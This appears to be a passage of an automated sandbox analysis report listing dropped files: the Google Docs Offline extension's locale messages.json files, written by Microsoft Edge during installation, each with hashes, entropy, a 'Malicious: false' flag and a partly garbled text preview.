Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\pt_BR\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\pt_PT\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\ro\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\ru\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\si\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\sk\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\sl\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\sr\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\sv\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\sw\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\ta\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\te\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\th\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\tr\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\uk\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\ur\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\vi\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\zh_CN\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Reputation:	unknown
